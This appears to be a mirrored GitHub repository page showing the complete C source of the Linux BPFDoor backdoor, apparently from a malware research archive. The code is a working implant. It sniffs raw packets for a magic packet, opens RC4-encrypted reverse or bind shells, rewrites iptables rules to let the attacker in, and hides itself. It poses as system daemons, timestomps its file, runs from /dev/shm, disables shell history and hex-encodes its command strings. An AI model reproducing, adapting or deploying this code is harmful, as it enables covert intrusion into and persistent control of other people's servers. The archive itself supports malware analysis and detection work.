ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-30 06:55:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
6672ee3eba
MalwareSourceCode/Leaks/Linux/Linux.RedMenshenBPFDoor.c

900 lines
29 KiB
C
Raw Normal View History

Add files via upload
2022-05-08 22:02:30 +00:00
#include <arpa/inet.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/termios.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <netdb.h>
#include <sys/prctl.h>
#include <libgen.h>
#include <sys/time.h>
#include <time.h>
#include <linux/types.h>
#include <linux/if_ether.h>
#include <linux/filter.h>
#include <errno.h>
#include <strings.h>
#ifndef PR_SET_NAME
#define PR_SET_NAME 15
#endif
extern char **environ;
#define __SID ('S' << 8)
#define I_PUSH (__SID | 2)
struct sniff_ip {
unsigned char ip_vhl;
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
#define IP_RF 0x8000
#define IP_DF 0x4000
#define IP_MF 0x2000
#define IP_OFFMASK 0x1fff
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
struct in_addr ip_src,ip_dst;
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)
typedef unsigned int tcp_seq;
struct sniff_tcp {
unsigned short int th_sport;
unsigned short int th_dport;
tcp_seq th_seq;
tcp_seq th_ack;
unsigned char th_offx2;
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
unsigned char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
} __attribute__ ((packed));
struct sniff_udp {
uint16_t uh_sport;
uint16_t uh_dport;
uint16_t uh_ulen;
uint16_t uh_sum;
} __attribute__ ((packed));
struct magic_packet{
unsigned int flag;
in_addr_t ip;
unsigned short port;
char pass[14];
} __attribute__ ((packed));
#ifndef uchar
#define uchar unsigned char
#endif
typedef struct {
uchar state[256];
uchar x, y;
} rc4_ctx;
extern char *ptsname(int);
extern int grantpt(int fd);
extern int unlockpt(int fd);
extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;
#define TIOCSCTTY 0x540E
#define TIOCGWINSZ 0x5413
#define TIOCSWINSZ 0x5414
#define ECHAR 0x0b
#define BUF 32768
struct config {
char stime[4];
char etime[4];
char mask[512];
char pass[14];
char pass2[14];
} __attribute__ ((packed));
struct config cfg;
int pty, tty;
int godpid;
char pid_path[50];
int shell(int, char *, char *);
void getshell(char *ip, int);
char *argv0 = NULL;
rc4_ctx crypt_ctx, decrypt_ctx;
void xchg(uchar *a, uchar *b)
{
uchar c = *a;
*a = *b;
*b = c;
}
void rc4_init (uchar *key, int len, rc4_ctx *ctx)
{
uchar index1, index2;
uchar *state = ctx->state;
uchar i;
i = 0;
do {
state[i] = i;
i++;
} while (i);
ctx->x = ctx->y = 0;
index1 = index2 = 0;
do {
index2 = key[index1] + state[i] + index2;
xchg(&state[i], &state[index2]);
index1++;
if (index1 >= len)
index1 = 0;
i++;
} while (i);
}
void rc4 (uchar *data, int len, rc4_ctx *ctx)
{
uchar *state = ctx->state;
uchar x = ctx->x;
uchar y = ctx->y;
int i;
for (i = 0; i < len; i++) {
uchar xor;
x++;
y = state[x] + y;
xchg(&state[x], &state[y]);
xor = state[x] + state[y];
data[i] ^= state[xor];
}
ctx->x = x;
ctx->y = y;
}
int cwrite(int fd, void *buf, int count)
{
uchar *tmp;
int ret;
if (!count)
return 0;
tmp = malloc(count);
if (!tmp)
return 0;
memcpy(tmp, buf, count);
rc4(tmp, count, &crypt_ctx);
ret = write(fd, tmp, count);
free(tmp);
return ret;
}
int cread(int fd, void *buf, int count)
{
int i;
if (!count)
return 0;
i = read(fd, buf, count);
if (i > 0)
rc4(buf, i, &decrypt_ctx);
return i;
}
static void remove_pid(char *pp)
{
unlink(pp);
}
static void setup_time(char *file)
{
struct timeval tv[2];
tv[0].tv_sec = 1225394236;
tv[0].tv_usec = 0;
tv[1].tv_sec = 1225394236;
tv[1].tv_usec = 0;
utimes(file, tv);
}
static void terminate(void)
{
if (getpid() == godpid)
remove_pid(pid_path);
_exit(EXIT_SUCCESS);
}
static void on_terminate(int signo)
{
terminate();
}
static void init_signal(void)
{
atexit(terminate);
signal(SIGTERM, on_terminate);
return;
}
void sig_child(int i)
{
signal(SIGCHLD, sig_child);
waitpid(-1, NULL, WNOHANG);
}
int ptym_open(char *pts_name)
{
char *ptr;
int fd;
strcpy(pts_name,"/dev/ptmx");
if ((fd = open(pts_name,O_RDWR)) < 0) {
return -1;
}
if (grantpt(fd) < 0) {
close(fd);
return -2;
}
if (unlockpt(fd) < 0) {
close(fd);
return -3;
}
if ((ptr = ptsname(fd)) == NULL) {
close(fd);
return -4;
}
strcpy(pts_name,ptr);
return fd;
}
int ptys_open(int fd,char *pts_name)
{
int fds;
if ((fds = open(pts_name,O_RDWR)) < 0) {
close(fd);
return -5;
}
if (ioctl(fds,I_PUSH,"ptem") < 0) {
return fds;
}
if (ioctl(fds,I_PUSH,"ldterm") < 0) {
return fds;
}
if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
return fds;
}
return fds;
}
int open_tty()
{
char pts_name[20];
pty = ptym_open(pts_name);
tty = ptys_open(pty,pts_name);
if (pty >= 0 && tty >=0 )
return 1;
return 0;
}
int try_link(in_addr_t ip, unsigned short port)
{
struct sockaddr_in serv_addr;
int sock;
bzero(&serv_addr, sizeof(serv_addr));
serv_addr.sin_addr.s_addr = ip;
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = port;
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) {
close(sock);
return -1;
}
return sock;
}
int mon(in_addr_t ip, unsigned short port)
{
struct sockaddr_in remote;
int sock;
int s_len;
bzero(&remote, sizeof(remote));
if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
return -1;
}
remote.sin_family = AF_INET;
remote.sin_port = port;
remote.sin_addr.s_addr = ip;
if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) {
close(sock);
return -1;
}
close(sock);
return s_len;
}
int set_proc_name(int argc, char **argv, char *new)
{
size_t size = 0;
int i;
char *raw = NULL;
char *last = NULL;
argv0 = argv[0];
for (i = 0; environ[i]; i++)
size += strlen(environ[i]) + 1;
raw = (char *) malloc(size);
if (NULL == raw)
return -1;
for (i = 0; environ[i]; i++)
{
memcpy(raw, environ[i], strlen(environ[i]) + 1);
environ[i] = raw;
raw += strlen(environ[i]) + 1;
}
last = argv[0];
for (i = 0; i < argc; i++)
last += strlen(argv[i]) + 1;
for (i = 0; environ[i]; i++)
last += strlen(environ[i]) + 1;
memset(argv0, 0x00, last - argv0);
strncpy(argv0, new, last - argv0);
prctl(PR_SET_NAME, (unsigned long) new);
return 0;
}
int to_open(char *name, char *tmp)
{
char cmd[256] = {0};
char fmt[] = {
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
system(cmd);
sleep(2);
if (access(pid_path, R_OK) == 0)
return 0;
return 1;
}
int logon(const char *hash)
{
int x = 0;
x = memcmp(cfg.pass, hash, strlen(cfg.pass));
if (x == 0)
return 0;
x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
if (x == 0)
return 1;
return 2;
}
void packet_loop()
{
int sock, r_len, pid, scli, size_ip, size_tcp;
socklen_t psize;
uchar buff[512];
const struct sniff_ip *ip;
const struct sniff_tcp *tcp;
struct magic_packet *mp;
const struct sniff_udp *udp;
in_addr_t bip;
char *pbuff = NULL;
//
// Filter Options Build Filter Struct
//
struct sock_fprog filter;
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 27, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 5, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 23, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 19, 20, 0x00007255 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 17, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 0, 14, 0x00007255 },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 11, 12, 0x00000008 },
{ 0x15, 0, 11, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001a },
{ 0x54, 0, 0, 0x000000f0 },
{ 0x74, 0, 0, 0x00000002 },
{ 0xc, 0, 0, 0x00000000 },
{ 0x7, 0, 0, 0x00000000 },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 0, 1, 0x00005293 },
{ 0x6, 0, 0, 0x0000ffff },
{ 0x6, 0, 0, 0x00000000 },
};
filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
filter.filter = bpf_code;
//
// Build a rawsocket that binds the NIC to receive Ethernet frames
//
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
return;
//
// Set a packet filter
//
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
return;
}
//
// Loop to Read Packets in 512 Chunks
//
while (1) {
memset(buff, 0, 512);
psize = 0;
r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
ip = (struct sniff_ip *)(buff+14);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) continue;
// determine protocl from packet (offset 14)
switch(ip->ip_p) {
case IPPROTO_TCP:
tcp = (struct sniff_tcp*)(buff+14+size_ip);
size_tcp = TH_OFF(tcp)*4;
mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
break;
case IPPROTO_UDP:
udp = (struct sniff_udp *)(ip+1);
mp = (struct magic_packet *)(udp+1);
break;
case IPPROTO_ICMP:
pbuff = (char *)(ip+1);
mp = (struct magic_packet *)(pbuff+8);
break;
default:
break;
}
// if magic packet is set process
if (mp) {
if (mp->ip == INADDR_NONE)
bip = ip->ip_src.s_addr;
else
bip = mp->ip;
pid = fork();
if (pid) {
waitpid(pid, NULL, WNOHANG);
}
else {
int cmp = 0;
char sip[20] = {0};
char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
0x72, 0x00}; // /usr/libexec/postfix/master
if (fork()) exit(0);
chdir("/");
setsid();
signal(SIGHUP, SIG_DFL);
memset(argv0, 0, strlen(argv0));
strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master)
prctl(PR_SET_NAME, (unsigned long) pname);
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
cmp = logon(mp->pass);
switch(cmp) {
case 1:
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(tcp->th_dport));
break;
case 0:
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2:
mon(bip, mp->port);
break;
}
exit(0);
}
}
}
close(sock);
}
int b(int *p)
{
int port;
struct sockaddr_in my_addr;
int sock_fd;
int flag = 1;
if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
return -1;
}
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
my_addr.sin_family = AF_INET;
my_addr.sin_addr.s_addr = 0;
for (port = 42391; port < 43391; port++) {
my_addr.sin_port = htons(port);
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
continue;
}
if( listen(sock_fd,1) == 0 ) {
*p = port;
return sock_fd;
}
close(sock_fd);
}
return -1;
}
int w(int sock)
{
socklen_t size;
struct sockaddr_in remote_addr;
int sock_id;
size = sizeof(struct sockaddr_in);
if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
return -1;
}
close(sock);
return sock_id;
}
void getshell(char *ip, int fromport)
{
int sock, sockfd, toport;
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
char cmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char rcmdfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
char inputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
char dinputfmt[] = {
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
sockfd = b(&toport); // looks like it selects random ephemral port here
if (sockfd == -1) return;
snprintf(cmd, sizeof(cmd), inputfmt, ip);
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
sleep(1);
memset(cmd, 0, sizeof(cmd));
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
sleep(1);
sock = w(sockfd); // creates a sock that listens on port specified earlier
if( sock < 0 ){
close(sock);
return;
}
//
// passes sock and
// rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
// dcmd = /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
//
//
shell(sock, rcmd, dcmd);
close(sock);
}
int shell(int sock, char *rcmd, char *dcmd)
{
int subshell;
fd_set fds;
char buf[BUF];
char argx[] = {
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
char *argvv[] = {argx, NULL, NULL};
#define MAXENV 256
#define ENVLEN 256
char *envp[MAXENV];
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
int ret;
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
char ps[] = {
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
char histfile[] = {
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
char mshist[] = {
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
char ipath[] = {
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
char term[] = "vt100";
envp[0] = home;
envp[1] = ps;
envp[2] = histfile;
envp[3] = mshist;
envp[4] = ipath;
envp[5] = term;
envp[6] = NULL;
if (rcmd != NULL)
system(rcmd);
if (dcmd != NULL)
system(dcmd);
write(sock, "3458", 4);
if (!open_tty()) {
if (!fork()) {
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve(sh, argvv, envp);
}
close(sock);
return 0;
}
subshell = fork();
if (subshell == 0) {
close(pty);
ioctl(tty, TIOCSCTTY);
close(sock);
dup2(tty, 0);
dup2(tty, 1);
dup2(tty, 2);
close(tty);
execve(sh, argvv, envp);
}
close(tty);
while (1) {
FD_ZERO(&fds);
FD_SET(pty, &fds);
FD_SET(sock, &fds);
if (select((pty > sock) ? (pty+1) : (sock+1),
&fds, NULL, NULL, NULL) < 0)
{
break;
}
if (FD_ISSET(pty, &fds)) {
int count;
count = read(pty, buf, BUF);
if (count <= 0) break;
if (cwrite(sock, buf, count) <= 0) break;
}
if (FD_ISSET(sock, &fds)) {
int count;
unsigned char *p, *d;
d = (unsigned char *)buf;
count = cread(sock, buf, BUF);
if (count <= 0) break;
p = memchr(buf, ECHAR, count);
if (p) {
unsigned char wb[5];
int rlen = count - ((long) p - (long) buf);
struct winsize ws;
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
ret = cread(sock, &wb[rlen], 5 - rlen);
}
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
ret = write(pty, buf, (long) p - (long) buf);
rlen = ((long) buf + count) - ((long)p+5);
if (rlen > 0) ret = write(pty, p+5, rlen);
} else
if (write(pty, d, count) <= 0) break;
}
}
close(sock);
close(pty);
waitpid(subshell, NULL, 0);
vhangup();
exit(0);
}
int main(int argc, char *argv[])
{
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
if (access(pid_path, R_OK) == 0) {
exit(0);
}
if (getuid() != 0) {
return 0;
}
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}
bzero(&cfg, sizeof(cfg));
srand((unsigned)time(NULL));
strcpy(cfg.mask, self[rand()%10]);
strcpy(cfg.pass, hash);
strcpy(cfg.pass2, hash2);
setup_time(argv[0]);
set_proc_name(argc, argv, cfg.mask);
if (fork()) exit(0);
init_signal();
signal(SIGCHLD, sig_child);
godpid = getpid();
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
signal(SIGCHLD,SIG_IGN);
setsid();
packet_loop();
return 0;
}
Reference in New Issue Copy Permalink